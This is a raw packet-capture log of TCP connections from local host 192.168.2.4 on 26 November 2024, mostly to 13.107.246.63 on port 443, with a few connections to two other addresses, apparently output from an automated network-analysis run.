Nov 26, 2024 08:55:36.622195005 CET	443	49885	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:36.622273922 CET	49886	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:36.622286081 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.321506977 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.326432943 CET	49881	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.326459885 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.326888084 CET	49881	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.326891899 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.527863026 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.528310061 CET	49883	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.528326988 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.528924942 CET	49883	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.528928995 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.760036945 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.760227919 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.760296106 CET	49881	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.760462999 CET	49881	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.760478973 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.760490894 CET	49881	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.760495901 CET	443	49881	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.763941050 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.763993025 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.764094114 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.764266014 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.764275074 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.843724012 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.855715036 CET	49884	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.855778933 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.856211901 CET	49884	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.856225014 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.973978043 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.974173069 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.974244118 CET	49883	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.974968910 CET	49883	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.974989891 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.974999905 CET	49883	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.975007057 CET	443	49883	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.978502035 CET	49888	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.978591919 CET	443	49888	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:37.978667021 CET	49888	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.978823900 CET	49888	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:37.978857994 CET	443	49888	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.290060043 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.290118933 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.290174007 CET	49884	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.290314913 CET	49884	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.290343046 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.290358067 CET	49884	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.290364981 CET	443	49884	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.293176889 CET	49890	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.293212891 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.293270111 CET	49890	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.293585062 CET	49890	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.293600082 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.338093996 CET	443	49885	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.338562012 CET	49885	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.338597059 CET	443	49885	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.339013100 CET	49885	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.339019060 CET	443	49885	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.403109074 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.403664112 CET	49886	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.403727055 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.404087067 CET	49886	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.404118061 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.772967100 CET	443	49885	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.773036957 CET	443	49885	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.773190022 CET	49885	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.773283958 CET	49885	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.773308039 CET	443	49885	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.773320913 CET	49885	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.773327112 CET	443	49885	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.775626898 CET	49892	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.775670052 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.775726080 CET	49892	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.775897026 CET	49892	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.775911093 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.847934961 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.848007917 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.848278999 CET	49886	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.848999023 CET	49886	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.849025011 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.849040031 CET	49886	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.849047899 CET	443	49886	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.851349115 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.851393938 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:38.851528883 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.851711988 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:38.851726055 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:39.549323082 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:39.616091967 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:39.616139889 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:39.616518974 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:39.616525888 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:39.766175032 CET	443	49888	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:39.766777039 CET	49888	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:39.766849041 CET	443	49888	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:39.767182112 CET	49888	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:39.767195940 CET	443	49888	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:39.792922020 CET	49894	80	192.168.2.4	192.124.216.14
Nov 26, 2024 08:55:39.913467884 CET	80	49894	192.124.216.14	192.168.2.4
Nov 26, 2024 08:55:39.913564920 CET	49894	80	192.168.2.4	192.124.216.14
Nov 26, 2024 08:55:39.944571972 CET	49894	80	192.168.2.4	192.124.216.14
Nov 26, 2024 08:55:39.998702049 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:39.998759031 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:39.998807907 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:39.998837948 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:39.998922110 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:39.998965979 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:39.999062061 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:39.999083996 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:39.999095917 CET	49887	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:39.999100924 CET	443	49887	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.002388954 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.002434969 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.002489090 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.002712011 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.002726078 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.018527031 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.018939972 CET	49890	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.019018888 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.019551039 CET	49890	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.019567013 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.065196991 CET	80	49894	192.124.216.14	192.168.2.4
Nov 26, 2024 08:55:40.213071108 CET	443	49888	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.213244915 CET	443	49888	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.213313103 CET	49888	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.213386059 CET	49888	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.213386059 CET	49888	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.213424921 CET	443	49888	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.213452101 CET	443	49888	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.217067003 CET	49896	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.217113018 CET	443	49896	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.217178106 CET	49896	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.217571974 CET	49896	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.217588902 CET	443	49896	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.459961891 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.460048914 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.460110903 CET	49890	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.460366011 CET	49890	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.460417032 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.460453033 CET	49890	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.460469961 CET	443	49890	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.463896036 CET	49897	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.463937998 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.463989019 CET	49897	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.464263916 CET	49897	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.464278936 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.699134111 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.699594021 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.699623108 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:40.700056076 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:40.700062037 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:41.157514095 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:41.157536030 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:41.157900095 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:41.157927036 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:41.158195019 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:41.158231020 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:41.158231020 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:41.158237934 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:41.158411026 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:41.158446074 CET	443	49893	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:41.161031961 CET	49893	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:41.161034107 CET	49899	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:41.161073923 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:41.165488958 CET	49899	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:41.165718079 CET	49899	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:41.165729046 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:41.288537979 CET	80	49894	192.124.216.14	192.168.2.4
Nov 26, 2024 08:55:41.288583994 CET	80	49894	192.124.216.14	192.168.2.4
Nov 26, 2024 08:55:41.288785934 CET	49894	80	192.168.2.4	192.124.216.14
Nov 26, 2024 08:55:41.460694075 CET	49894	80	192.168.2.4	192.124.216.14
Nov 26, 2024 08:55:41.791091919 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:41.814430952 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:41.814431906 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:41.814455986 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:41.814471960 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.240114927 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.240169048 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.240232944 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.240257978 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.240945101 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.240998030 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.243506908 CET	443	49896	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.245942116 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.245958090 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.245968103 CET	49895	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.245973110 CET	443	49895	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.246666908 CET	49896	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.246695042 CET	443	49896	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.247215986 CET	49896	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.247220993 CET	443	49896	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.253623962 CET	49901	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.253671885 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.253722906 CET	49901	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.254235983 CET	49901	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.254254103 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.316632032 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.317276955 CET	49897	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.317310095 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.317708969 CET	49897	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.317718983 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.698322058 CET	443	49896	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.701299906 CET	443	49896	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.701353073 CET	49896	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.701417923 CET	49896	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.701437950 CET	443	49896	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.704999924 CET	49902	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.705096960 CET	443	49902	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.705192089 CET	49902	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.705302000 CET	49902	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.705318928 CET	443	49902	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.771342993 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.774538040 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.774600029 CET	49897	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.778217077 CET	49897	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.778233051 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.778243065 CET	49897	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.778248072 CET	443	49897	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.786564112 CET	49903	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.786608934 CET	443	49903	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.786664009 CET	49903	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.786978960 CET	49903	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.786988974 CET	443	49903	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.952852964 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.953372955 CET	49899	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.953383923 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:42.954982042 CET	49899	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:42.954986095 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:43.397068024 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:43.397135973 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:43.397334099 CET	49899	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:43.397397041 CET	49899	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:43.397397041 CET	49899	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:43.397412062 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:43.397420883 CET	443	49899	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:43.400496960 CET	49904	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:43.400517941 CET	443	49904	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:43.400576115 CET	49904	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:43.402990103 CET	49904	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:43.403000116 CET	443	49904	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.106856108 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.107498884 CET	49901	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.107517004 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.107974052 CET	49901	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.107980013 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.498123884 CET	443	49902	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.549592972 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.549690008 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.549746990 CET	49901	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.550913095 CET	49902	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.576555967 CET	443	49903	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.588723898 CET	49902	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.588732958 CET	443	49902	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.592500925 CET	49902	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.592505932 CET	443	49902	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.596030951 CET	49901	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.596048117 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.596057892 CET	49901	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.596065044 CET	443	49901	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.633249044 CET	49906	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.633282900 CET	443	49906	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.633342981 CET	49906	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.647964954 CET	49903	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.647979975 CET	443	49903	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.651861906 CET	49903	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.651866913 CET	443	49903	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.683152914 CET	49906	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.683229923 CET	443	49906	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.883332014 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.883796930 CET	49892	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.883829117 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.884253025 CET	49892	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.884262085 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.940943003 CET	443	49902	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.944087982 CET	443	49902	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.944158077 CET	49902	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.944236994 CET	49902	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.944251060 CET	443	49902	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.944261074 CET	49902	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.944264889 CET	443	49902	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.946846962 CET	49907	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.946887016 CET	443	49907	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:44.947012901 CET	49907	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.947205067 CET	49907	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:44.947217941 CET	443	49907	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.020066023 CET	443	49903	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.023848057 CET	443	49903	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.023895025 CET	49903	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.023981094 CET	49903	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.023993015 CET	443	49903	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.024002075 CET	49903	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.024007082 CET	443	49903	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.027437925 CET	49908	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.027457952 CET	443	49908	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.027510881 CET	49908	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.027909994 CET	49908	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.027921915 CET	443	49908	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.184161901 CET	443	49904	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.184626102 CET	49904	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.184679985 CET	443	49904	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.185074091 CET	49904	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.185080051 CET	443	49904	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.332494974 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.332515955 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.332591057 CET	49892	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.332632065 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.332890987 CET	49892	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.332911968 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.332921982 CET	49892	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.333051920 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.333079100 CET	443	49892	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.333122015 CET	49892	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.335716009 CET	49909	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.335764885 CET	443	49909	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.336822987 CET	49909	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.337095976 CET	49909	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.337105989 CET	443	49909	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.399207115 CET	49910	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:45.399271965 CET	443	49910	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:45.399619102 CET	49910	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:45.399868965 CET	49910	443	192.168.2.4	172.217.19.174
Nov 26, 2024 08:55:45.399883986 CET	443	49910	172.217.19.174	192.168.2.4
Nov 26, 2024 08:55:45.628671885 CET	443	49904	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.628757954 CET	443	49904	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.628810883 CET	49904	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.629033089 CET	49904	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.629054070 CET	443	49904	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.633178949 CET	49913	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.633256912 CET	443	49913	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:45.633388996 CET	49913	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.633897066 CET	49913	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:45.633944988 CET	443	49913	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:46.471120119 CET	443	49906	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:46.471566916 CET	49906	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:46.471590042 CET	443	49906	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:46.472007990 CET	49906	443	192.168.2.4	13.107.246.63
Nov 26, 2024 08:55:46.472012043 CET	443	49906	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:46.737937927 CET	443	49907	13.107.246.63	192.168.2.4
Nov 26, 2024 08:55:46.738389015 CET	49907	443	192.168.2.4	13.107.246.63
